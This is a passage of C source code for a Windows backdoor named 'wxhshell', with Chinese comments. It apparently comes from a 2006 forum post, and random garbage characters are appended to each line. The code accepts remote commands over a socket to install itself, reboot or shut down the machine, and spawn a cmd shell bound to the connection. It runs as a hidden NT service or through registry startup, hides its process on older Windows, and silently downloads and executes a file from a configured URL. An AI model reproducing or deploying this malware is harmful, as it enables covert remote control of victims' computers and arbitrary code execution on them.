      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~)J]`el,Q  
    break; R(YhVW_l  
  } ":=\ ci]e%  
  // 安装 RNa59b  
  case 'i': { (41BUX  
    if(Install()) bEO\oS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B$ty`/{w,B  
    else mEK0ID\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3PRg/vD3  
    break; A'A5.\UN  
    } &lbZTY}  
  // 卸载 ^eF%4DUC;  
  case 'r': { VN3"$@-POK  
    if(Uninstall()) cD^`dn%$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O5rHN;\_  
    else VycC uq&M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )w.+( v(  
    break; f3r\X  
    } M1nH!A~o  
  // 显示 wxhshell 所在路径 g2?kC^=z=  
  case 'p': { #>O!N  
    char svExeFile[MAX_PATH]; 2pr#qh8  
    strcpy(svExeFile,"\n\r"); 7Iz%Jty  
      strcat(svExeFile,ExeFile); d7, ZpHt  
        send(wsh,svExeFile,strlen(svExeFile),0); Hlh`d N  
    break; (RXOv"''=  
    } ~7CQw^"R@  
  // 重启 V$ 8go#5  
  case 'b': { P:lmQHls+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Tc:WD  
    if(Boot(REBOOT)) qg7qTF&   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'YQVf]4P  
    else { {@1;kG  
    closesocket(wsh); s R~D3-  
    ExitThread(0); pFB^l|\ ]  
    } cy_'QS$W   
    break; j 3/ I =  
    } hk5[ N=  
  // 关机 ^nO0/nqz]  
  case 'd': { xi+bBqg<.K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V(gmC%6%l*  
    if(Boot(SHUTDOWN)) qu8!fFQjYL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R_DstpsT  
    else { 1w` ]2  
    closesocket(wsh); /z=xEnU#  
    ExitThread(0); 2wCSjAWWh(  
    } JD\yl[ac%  
    break; o*]Tqx  
    } y nue;*rM  
  // 获取shell %|"0p3  
  case 's': { E O.Se9ux  
    CmdShell(wsh); f`;y "ba  
    closesocket(wsh); i}tBB~]  
    ExitThread(0); TTYM!+T  
    break; X mmb^2I  
  } ,(&p "O":  
  // 退出 >Bw<THx  
  case 'x': { x]6-r`O7r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |\}&mBR  
    CloseIt(wsh); w"PnN  
    break; f6of8BOg  
    } b(E}W2-t  
  // 离开 ^uWPbW&/q  
  case 'q': { Os90fR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); kA.U2  
    closesocket(wsh); Kl\g{>{Uz  
    WSACleanup(); @~=*W5  
    exit(1); "_f~8f`y  
    break; CI#6 r8u  
        } mBwM=LAZ  
  } _YK66cS3E/  
  } ~vbyX  
9 HiH6f^5  
  // 提示信息 3BZa}Q_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 I$~E  
} '!hA!eo>J  
  } yjF;%A/0  
"^froQ{"T  
  return; \4`:~c  
} 5wE+p<-KX  
+nIjW;RU  
// shell模块句柄 DXa!"ZU  
int CmdShell(SOCKET sock) i-jrF6&  
{ ,<CFjtelO  
STARTUPINFO si; 6*aU^#Hz6  
ZeroMemory(&si,sizeof(si)); =,Zkg(M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hl/) 1sOIR  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FHK{cE  
PROCESS_INFORMATION ProcessInfo; A3 uF 0A  
char cmdline[]="cmd"; 4@mK:v %  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ez-jVi-Fi  
  return 0; w-j^jU><3  
} L-9 AJk>V  
c%+_~iBUN  
// 自身启动模式 o#Viz:  
int StartFromService(void) u]z87#4  
{ PY@BgL=/  
typedef struct 5Ic'6AIz  
{ @* <`*W  
  DWORD ExitStatus; /prR;'ks  
  DWORD PebBaseAddress; w7%.EA{N  
  DWORD AffinityMask; 1RgERj  
  DWORD BasePriority; jhJ'fI  
  ULONG UniqueProcessId; FX  %(<M  
  ULONG InheritedFromUniqueProcessId; v;sWI"Fv!  
}   PROCESS_BASIC_INFORMATION; |muZv!,E  
vf@toYc[E  
PROCNTQSIP NtQueryInformationProcess; iAr]Ed"9|  
yno X=#`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5-RA<d#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %HD0N&  
W]oILL"d  
  HANDLE             hProcess;  8+,I(+  
  PROCESS_BASIC_INFORMATION pbi; 47=YP0r?>T  
Qx_]oz]NY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }Pm; xHnf&  
  if(NULL == hInst ) return 0; S8,e `F  
pSl4^$2XR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pV(qan,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,@]*Xgt=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v8y !zo'  
i)!+`w*Y  
  if (!NtQueryInformationProcess) return 0; =x@v{cP  
m7|S'{+!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +Ym#!"  
  if(!hProcess) return 0; E*vh<C  
|%g)H,6c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DP.Y <V)B  
^ AJ_  
  CloseHandle(hProcess); ILIv43QKM(  
A D%9;KQ8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v hGX&   
if(hProcess==NULL) return 0; xqpq|U  
z^o7&\:  
HMODULE hMod; tPb<*{eG  
char procName[255]; %w;wQ_  
unsigned long cbNeeded; Sw.Kl 0M  
iLO,XW?d v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o&)v{q  
Od+nBJ   
  CloseHandle(hProcess); jpkKdQX)  
jSQM3+`b  
if(strstr(procName,"services")) return 1; // 以服务启动 &e3pmHp'  
T`2a)  
  return 0; // 注册表启动 v@,`(\Ca'  
} 7?ILmYBw  
0C4Os p  
// 主模块 AbL(F#{  
int StartWxhshell(LPSTR lpCmdLine) 4*9BAv  
{ {^Rr:+  
  SOCKET wsl; >-j( [%  
BOOL val=TRUE; XG!^[ZDs  
  int port=0; .umN>/o[  
  struct sockaddr_in door; XzB3Xs?W2  
|F +n7  
  if(wscfg.ws_autoins) Install(); _LFABG=  
i8!err._  
port=atoi(lpCmdLine); 6Z5$cR_vC7  
TMD*-wYr  
if(port<=0) port=wscfg.ws_port; uBw[|,yn2*  
-FS! v^  
  WSADATA data; F8&L'@m9>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @o6!  
]Na;b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ch)E:Dvq6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "8 ?6;!,  
  door.sin_family = AF_INET; 3$3%W<&^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bD=R/yA  
  door.sin_port = htons(port); %3yrX>Js  
~xJ ^YkyH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `o0ISJeKp  
closesocket(wsl); |\RN%w7E8  
return 1; 5& _R+g  
} "iJAM`Hi  
5O~;^0iC  
  if(listen(wsl,2) == INVALID_SOCKET) { LhSXz>AX  
closesocket(wsl); c~= {A  
return 1; D7Y?$=0ycb  
} k- exqM2x=  
  Wxhshell(wsl); c_u7O \  
  WSACleanup(); =N2@H5+7  
1U(!%},  
return 0; cR/e Zfl  
Gh}* <X;N  
} hyY^$p+  
:BF WX  
// 以NT服务方式启动 _TyQC1 d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) iV:\,<8d  
{ AD >/#Ul  
DWORD   status = 0; bYYjP.rcF  
  DWORD   specificError = 0xfffffff; s>=$E~qq  
f[q_eY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (`<B#D;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nv3TxG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?4t~z 1.f  
  serviceStatus.dwWin32ExitCode     = 0; MfraTUxIo/  
  serviceStatus.dwServiceSpecificExitCode = 0; <bJ~Ol  
  serviceStatus.dwCheckPoint       = 0; ]UrlFiR  
  serviceStatus.dwWaitHint       = 0; GS*_m4.Ry6  
b/4gs62{k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /U>8vV+C  
  if (hServiceStatusHandle==0) return; Ls*Vz,3!5  
m/WDJ$d  
status = GetLastError(); z=4E#y `?U  
  if (status!=NO_ERROR) \}Kad\)  
{ W$` WkR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r<;Y4<,BZ  
    serviceStatus.dwCheckPoint       = 0; F#o{/u?T  
    serviceStatus.dwWaitHint       = 0; (kx>\FIK*  
    serviceStatus.dwWin32ExitCode     = status; f5R%F ~  
    serviceStatus.dwServiceSpecificExitCode = specificError; &<) _7?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bBQHxH}vi  
    return; fN 1:'d  
  } 9Dyw4'W.N  
NM1TFs2Y*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :~p_(rE  
  serviceStatus.dwCheckPoint       = 0; \\/ !I   
  serviceStatus.dwWaitHint       = 0; w_YY~Af  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nZ`=Up p)  
} z.W1Za  
z u1gP/  
// 处理NT服务事件,比如:启动、停止 !9^GkFR6n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +EZr@  
{ >P6U0  
switch(fdwControl) ! &V,+}>)  
{ VKi3z%kwK  
case SERVICE_CONTROL_STOP:  XV !UeBq  
  serviceStatus.dwWin32ExitCode = 0; HPK}Z|Vl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XlGB`P>?KD  
  serviceStatus.dwCheckPoint   = 0; /sl#M  
  serviceStatus.dwWaitHint     = 0; TSsx^h8/  
  { eoPoG C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mW)"~sA  
  } C |rl",&  
  return; w$Mb+b$  
case SERVICE_CONTROL_PAUSE: $'lJ_ jL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K$M,d - `b  
  break; / `w'X/'VJ  
case SERVICE_CONTROL_CONTINUE: 7wqD_Xr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }Z`@Z'  
  break; 4;w# mzd  
case SERVICE_CONTROL_INTERROGATE: _xdttO^N  
  break; B^hK  
}; 7p18;Z+6>X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *kDV ^RBfq  
} Q1 vse  
6:\z8fYD  
// 标准应用程序主函数 [92bGR{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 98WJ"f_ #  
{ !v3wl0  
4W+nS v  
// 获取操作系统版本 gwYTOs ^  
OsIsNt=GetOsVer(); A3zNUad;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /zV0kW>N  
*tT5Zt/&Sr  
  // 从命令行安装 t aOsC! Bp  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,I[A~  
8\Eq(o}7  
  // 下载执行文件 7M9s}b%?  
if(wscfg.ws_downexe) { 5?|PC.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .T*7nw  
  WinExec(wscfg.ws_filenam,SW_HIDE); $w<~W1\:  
} }Z\+Qc<<  
UmQ'=@^kR  
if(!OsIsNt) { J15$P8J  
// 如果时win9x,隐藏进程并且设置为注册表启动 WTh|7&  
HideProc(); ?/s=E+  
StartWxhshell(lpCmdLine); L G9#D  
} /XW,H0pR  
else 2qkC{klC^M  
  if(StartFromService()) o6;VrpaNi  
  // 以服务方式启动 GG_A'eX:I  
  StartServiceCtrlDispatcher(DispatchTable); ?Qs>L~  
else YCQ+9  
  // 普通方式启动 #D!3a%u0  
  StartWxhshell(lpCmdLine); fI0L\^b%  
F[OBPPQ3  
return 0; i@d@~M7/  
}
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只看该作者 1 发表于: 2006-10-10
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